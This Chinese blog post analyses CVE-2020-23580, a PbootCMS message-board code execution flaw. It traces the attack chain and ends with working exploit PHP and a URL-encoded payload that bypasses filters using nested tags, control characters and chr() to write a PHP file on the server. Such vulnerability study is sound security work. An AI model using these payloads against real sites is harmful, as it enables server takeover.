欢迎光临
我们一直在努力

CVE-2020-23580PBootCMS安全漏洞浅析

一、概述

PbootCMSPbootCMS个人开发者的一款使用PHP语言开发的开源企业建站内容管理系统(CMS)。 PbootCMS中存在后台安全漏洞,该漏洞源于该平台的message board功能未对数据做有效验证,攻击者可通过该漏洞引发代码远程执行。以下产品及版本受到影响:PbootCMS 2.0.8(但从实际情况看来疑似2.0.7) 版本。

二、分析

(一)搭建环境

码云上找到release下载2.0.7,解压,修改PHPStudy的Apache网站根目录。

访问,

可能会遇到这样的错误,这是因为发布的源码默认采用sqlite数据库。改正此错误可以参考此链接,按照提示把数据库配置连接驱动修改为pdo_sqlite,打开数据库配置文件config/database.php,找到’type’这一行,

把sqlite改为pdo_sqlite。

如果需要启用Mysql版本,请导入目录下数据库文件/static/backup/sql/xxx.sql,

> mysql -u root -p
create database pb;
use pb;
source ...\PbootCMS-V2.0.8\static\backup\sql\xxx.sql

同时请注意使用最新日期名字的脚本文件,并修改config/database数据库连接文件信息。

改好后文件如下,

此时再访问即可正常访问。

(二)差异对比

1.MessageController

BeyondCompare中比较2.0.82.0.7版本的差异(示意图中左为2.0.8版本,右为2.0.7版本),差异有数处,经查看并不是都有价值,其中有意思的一处差异在apps\home\controller\MessageController.php被发现。

其中,PBootCMS 2.0.8的preg_replace_r()如下,

function preg_replace_r($search, $replace, $subject)
{
    while (preg_match($search, $subject)) {
        $subject = preg_replace($search, $replace, $subject);
    }
    return $subject;
}

我们写个demo对比一下新生代的preg_replace_r()和旧的单纯的str_replace()的差异,

<?php
    function preg_replace_r($search, $replace, $subject)
    {
        while (preg_match($search, $subject)) {
            $subject = preg_replace($search, $replace, $subject);
        }
        return $subject;
    }

    echo str_replace('pboot:if', '', 'pbootpboot:if:if');
    echo "\n";
    echo preg_replace_r('/pboot:if/i', '', 'pbootpboot:if:if');
    echo "\n";
/*
输出
> php demo.php
pboot:if

*/

一作比较,不难理解这一处差异,preg_replace_r()是递归调用,目的是将pboot:if这个pattern在目标字符串中完全清除掉,可以猜测,PBoot2.0.7中,可以通过双写来绕过str_replace()的某种限制。

2.ParserController

另外,apps\home\controller\ParserController.php中也有差异。

MessageController中提到了pboot:if,此处便有parserIfLabel()函数来解析该标签,并做了一定的安全检查,如果向下看,还能在此函数内部看到eval(),攻击者引发代码远程执行的点有可能在此。

(三)功能分析

1.寻找路径

接下来我们先看看PbootCMS 2.0.7的MessageController.php,

最开始映入眼帘的是构造函数,

public function __construct()
{
    $this->model = new ParserModel();
}

看来Message和Parser是有密切联系的,继续向下看,

这实现了新增留言的功能,结合提示,我们知道该漏洞源于该平台的message board功能未对数据做有效验证,以此推之,漏洞点有可能在这里。在这个函数的后半部分我们可以看到刚才在对比中发现的差异之一str_replace('pboot:if', '', $field_data)

这里先解释一下,查看PbootCMS的文档可以得知,PbootCMS实现了多种标签功能,这里的pboot:if应该是{pboot:if}标签。且在ParserController的函数中我们看到,对{pboot:if}标签的解析使用了eval,若这个过程过滤不严,便有导致任意代码执行的风险,这一点与漏洞信息是一致的,暂时不需要再去全局搜索可能的任意代码执行的功能点。另外,这里既然有修补且有贴合的漏洞信息,就很大概率是有漏洞的,并且这里的str_replace()和ParserController中的一些安全检查一定是可以绕过的。至于具体怎么绕过,是后面要考虑的事情,现在的问题是理清这个攻击链。

前面我们看到,ParserController的parserIfLabel()函数中做了修改,且有eval()函数,我们大胆猜测parserIfLabel()便是任意代码执行的点(如果猜错了也没啥,换一个再猜便是doge)。那么问题来了,怎么才能走到parserIfLabel()呢。作为一个初学者,面对一个并不熟悉的CMS,在查看手册没发现什么信息的情况下,我选择一步步尝试,这里先Find Usage找找思路。

再去看parserAfter(),

看到这里,继续往上一级看就意义不太大了,不如找一个点进去看看,

内容大体上都差不多,与parserAfter()同时出现的函数有很多,应该都是来解析标签辅助生成页面的,我们至少可以明白一点:基本上是个页面,都会用到parserAfter()来解析一下标签,生成一下页面,也就会调用到里面的parserIfLabel(),就比如我们访问主页,也能调用到parserIfLabel(),

接下来的问题就是,怎么将payload作为$content传给parserIfLabel()。我们可以推测出漏洞是留言产生的,所以想要把留言传给parserIfLabel(),就要在留言板里展示留言。

想到这里,我们先随便留言试一下,

在MessageController的index()中下断,

可以看到,我们的留言内容字符串payload作为$field_data在被处理(理论上放在留言框的其它字段也可以,但是考虑到手机号等字段可能要存入数据库,还是不要给自己找麻烦了)。下面走几步步出即可,

接下来会提示我们留言成功。我们在parserIfLabel()中下断,然后刷新一下页面,会得到如下的调用栈,

ParserController.php:2526, app\home\controller\ParserController->parserIfLabel()
ParserController.php:80, app\home\controller\ParserController->parserAfter()
IndexController.php:207, app\home\controller\IndexController->getAbout()
IndexController.php:120, app\home\controller\IndexController->_empty()
2:2, core\basic\Kernel::qcpgvcxefcqqqf0bba703f477b69cec30c28a8a4d10cc4()
2:2, core\basic\Kernel::run()
start.php:17, require()
index.php:23, {main}()

同时会有数据送入parserIfLabel()处理,大概是页面内容,不过只能找到下面这条默认留言,而没有我们的新增的留言。

当然,刷新完的页面中,也只有默认留言,

从这个调试过程中我们注意到两点:一是我们新的留言没有被传进来,二是这条默认留言由于不含有pattern,匹配不到,所以不会进入内部的for循环,更不会触发eval()。

这引导我们要注意两个问题,一是如何如何让留言被显示在留言板的这个页面上;二是如何构造payload实现任意代码执行,问题二要解决的问题也就是绕过安全限制的问题,放在下面详细讨论。

前面看到过这样,

我们猜测展示的留言是后台决定的,就像某些微信公众号文章里面,只有被公众号选为精选评论的评论才可以被展示出来一样(如果我搞错了请忽略这句话)。

于是我们访问admin.php,默认admin:123456,登录,查看留言,

可以看到我们的新留言,另外和系统的默认留言相比,差了一个显示的按钮,

点击新增的留言的按钮,令其可以展示在留言板页面上,效果如下。

所以这个漏洞的场景大概是这样的:恶意的留言绕过了安全检查,且被管理员无意之间展示了出来,当用户再次访问留言板页面时,Server端触发了任意代码执行。

2.绕过限制
(1)写入IF标签

摸清了流程,我们该考虑构造payload来绕过安全检查,目前可见的有一处MessageController.php的str_replace()和一处ParserController.php的parserIfLabel()。

首先我们明确,我们的payload要伪装成pboot:if标签的样子。

对第一处MessageController.php的str_replace()的绕过较为容易,只需要双写pboot:if即可,重点在于构造既符合parserIfLabel($content)中pattern的要求,又能实现绕过其内部安全检查的payload。

parserIfLabel($content)中的$pattern是这样的/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/,所以我们的payload的形式可以是如下的样子:{pbootpboot:if:if(xxx)}yyy{/pbootpboot:if:if}。接下来我们先发一个这样的留言看看情况,MessageController的index()下断,

可见第三次进入for循环时,$field_data即为我们的留言内容,

可以看到,在经历了一次,str_replace()操作后,payload正好成了if标签的样子,继续向下走,

此时要将包含了payload的$data数组传给addMessage(),跟进去看看,

继续跟进insert,在经历了大量程序性操作之后,我们来到了insert()的最后一步,

可以看到最后在执行数据库操作之前,又进行了一次str_replace(‘pboot:if’)操作,最终效果如下,

为了解决这个问题,我们要二次双写,写成{pbootpbootpboot:if:if:if(xxx)}yyy{/pbootpbootpboot:if:if:if},效果如下。

接下来从管理员页面将这条留言设置为可展示,我们在parserIfLabel()中下断并刷新一下留言板。

可以看到,开标签{pbootpbootpboot:if:if:if(xxx)}中括号内部的字符xxx被收入进了$matches[1]。

继续向下走,

xxx正在接受安全检查,因为xxx只是个demo,顺利过关,最后顺利来到eval。

(2)绕过安全检查

从上一小节中我们可以看到,开标签{pbootpbootpboot:if:if:if(xxx)}中括号内部的字符xxx被收入进了$matches[1]并最终进入eval,接下来我们要考虑的就是如何让恶意的字符串进入eval。安全检查主要有两关:一是带有函数的条件语句进行安全校验,函数存在或匹配到完整的eval字符串,且$value不在白名单里则将$danger置为true,就无法进入后面的eval;

二是过滤了很多特殊字符串,导致很多常用的可用于恶意功能的函数不能用了,

这些字符串有

(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)

此处拦截的目标有写文件的函数、phpinfo和命令执行的函数。

别的不说,正常情况下,第一关就有些难度,但凡有个不在白名单里的函数,function_exists($value)都为true,! in_array($value, $white_fun)也为true,这样一来$danger肯定为true了。

到此,如果没有别的办法,利用就算是失败了,不过我们有P神的提示(可能并不完全贴合)。在函数调用时,在括号前面增加控制字符([\x00-\x20])不会影响函数执行。

针对这里的正则匹配,如果我们构造func\x01(),应该是可以绕过检测的。

有如下demo,

<?php
    $danger = 0;
    $white_fun = array(
        'date',
        'in_array',
        'explode',
        'implode'
    );
    $matches = 'fopen'.chr(01).'(';
    print_r($matches);

    if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches, $matches2)) {
        foreach ($matches2[1] as $value) {
            if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
                $danger = 1;
                break;
            }
        }
    }
    echo "\n";
    print_r($danger);
/*
fopen(
0
*/

证明用控制字符可行,我们绕过了第一关的匹配,接下来要想怎么过第二关,前面提到有一部分写文件的函数、phpinfo和命令执行的函数都在黑名单里,但还是有个别漏网之鱼,一方面fputs(fopen("demo.php","w"),"xxx");可以写文件,尽管$_GET、$_POST、phpinfo之类的字符串都被列入黑名单,但是由于有一个天然的eval,我们还是可以通过chr()拼接在eval时形成phpinfo等字符串的,这里就不写一句话了,只写个phpinfo;另一方面黑名单里有eval而没有assert,我们也可以选择assert(“xxx”)。

exp如下,

<?php
    $danger = 0;
    $white_fun = array(
        'date',
        'in_array',
        'explode',
        'implode'
    );
    $s0 = "phpinfo";
    $s1 = "";
    for ($i=0; $i<strlen($s0); $i++)
    {
        $s1 .= 'chr'.chr(01).'('.ord($s0[$i]).')';
        if($i!=strlen($s0)-1)
            $s1 .= ".";
    }

    $matches = 'fopen'.chr(01).'(';
    $matches = 'fputs'.chr(01).'(fopen'.chr(01).'("info.php","w"),"<?php ".'.$s1.chr(01).'."();?>")';
    $matches =  '{pbootpbootpboot:if:if:if('.$matches.')}yyy{/pbootpbootpboot:if:if:if}';
//    print_r($matches);

    if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches, $matches2)) {
        foreach ($matches2[1] as $value) {
            if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
                $danger = 1;
                break;
            }
        }
    }
    echo "\n";
    print_r($danger);
    echo "\n";
    echo urlencode($matches);

/*
0
%7Bpbootpbootpboot%3Aif%3Aif%3Aif%28fputs%01%28fopen%01%28%22info.php%22%2C%22w%22%29%2C%22%3C%3Fphp+%22.chr%01%28112%29.chr%01%28104%29.chr%01%28112%29.chr%01%28105%29.chr%01%28110%29.chr%01%28102%29.chr%01%28111%29%01.%22%28%29%3B%3F%3E%22%29%29%7Dyyy%7B%2Fpbootpbootpboot%3Aif%3Aif%3Aif%7D
*/

改包,将content字段改为payload即可,

然后在后台将此留言置为可显示,然后访问相应文件即可。

三、参考链接

解释一下为什么我猜测出问题的版本是2.0.7:因为我在2.0.82.0.9的比对中没看出对2.0.8的留言板功能的明显改动(大部分改动是关于百度快速推送的),虽然2.0.9的更新中明确写了如下一句话,

但是可能修复的不是这个漏洞,后面又对比了2.0.7版本和2.0.8版本的差异,发现最有意义的差异之一便是2.0.8版本中采用了preg_replace_r()函数来彻底消除IF标签,这样的话,留言板应该就不会解析if标签,也就不会出现问题了。另外,查看了一下,Pbootcms的其它CVE的代码版本号都比较早了,直觉上讲与此漏洞没有关系,这都是猜测,不知对否,希望师傅们指正。当然这个分析漏洞的过程更有意义。

https://www.cvedetails.com/cve/CVE-2020-23580/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-23580

https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html

未经允许不得转载:Caldow » CVE-2020-23580PBootCMS安全漏洞浅析
分享到: 生成海报

切换注册

登录

忘记密码 ?

切换登录

注册

我们将发送一封验证邮件至你的邮箱, 请正确填写以完成账号注册和激活